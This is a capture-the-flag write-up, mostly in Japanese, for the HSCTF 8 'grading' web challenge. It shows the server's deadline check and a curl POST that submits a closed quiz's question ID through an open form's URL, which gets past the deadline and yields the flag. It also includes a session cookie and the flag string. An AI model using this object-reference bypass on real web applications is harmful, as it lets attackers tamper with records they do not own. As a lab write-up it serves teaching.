Rating:

# grading:web:397pts
Did you attend online school this year?
Good, because you'll need to register at [grading.hsc.tf](https://grading.hsc.tf/login) and get an A on "simple quiz" to find the flag.
Server code is attached.
[grading-master.zip](grading-master.zip)

# Solution
アクセスし、アカウントを登録するとテストを受けられるサイトのようだ。
Formable
[site1.png](site/site1.png)
テストは二つあるが、片方は締め切りを過ぎているようだ。
simple quiz (URL:https://grading.hsc.tf/60c8ba318c156ea0525271b0)
[site2.png](site/site2.png)
another simple quiz (URL:https://grading.hsc.tf/60c8ba318c156e1a895271b1)
[site3.png](site/site3.png)
どうやらこのsimple quizをどうにかして再受験したいらしい。
まずは受験できるテストに`CTFCTF`と解答を入力し動作を見ると、`/60c8ba318c156e1a895271b1`に`ID=60c8ba318c156e75095271af&value=CTFCTF`をPOSTしている。
IDはinputのnameであるようだ。
```html
~~~
<div class="mb-3 question">
<label for="">What is the best CTF?</label>

<input type="text" class='active' name="60c8ba318c156e75095271af" value="CTFCTF">

</div>
~~~
```
ここで配布されたソースのapp.jsを見てみる。
```JavaScript
~~~
.post(authMW, (req, res) => {
const now = Date.now()
const form = req.user.forms.id(req.params.formID)
if(now > form.deadline) {
res.json({response: "too late"})
} else {
if(req.body.ID) {
const question = req.user.questions.id(req.body.ID)
console.log(question);
question.submission = req.body.value
req.user.save()
} else {
form.submitted = true
req.user.save()
}

res.json({response: "heh"})
}

})
~~~
```
`formID`経由で締め切りを取得しチェックした後に、`ID`で問題を選択し解答を保存している。
つまり`formID`を現在締め切られていないもの、かつ`ID`は締め切りを過ぎたものにすれば締め切りチェックを回避できる。
締め切りを過ぎた問題のIDは以下のようであった。
```html
<div class="mb-3 question">
<label for="">What is the capital of Africa?</label>

<fieldset>

<div>
<input class="form-check-input" type="radio" name="60c8ba318c156e5afc5271ae" value="Venezuela" disabled >
<label class="form-check-label" for="">Venezuela</label>
</div>
~~~
<div>
<input class="form-check-input" type="radio" name="60c8ba318c156e5afc5271ae" value="Africa is not a country" disabled >
<label class="form-check-label" for="">Africa is not a country</label>
</div>

</fieldset>

</div>
```
これを利用し以下のようなリクエストを送る(cookieは解法には関係ない)。
```bash
$ curl -X POST https://grading.hsc.tf/60c8ba318c156e1a895271b1 -d "ID=60c8ba318c156e5afc5271ae&value=Africa is not a country" --cookie "connect.sid=s%3A9hca6KblGft22wdViRS5O09d4le1Tj4J.JAzBnOTmIm0WgfiN4OjHnH3la7xnb%2FaSFXRzMOhSayg"
{"response":"heh"}
```
simple quizにアクセスするとflagが表示されていた。
flag
[flag.png](site/flag.png)

## flag{th3_an5w3r_w4s_HSCTF_0bvi0us1y}

Original writeup (https://github.com/satoki/ctf_writeups/tree/master/HSCTF_8/grading).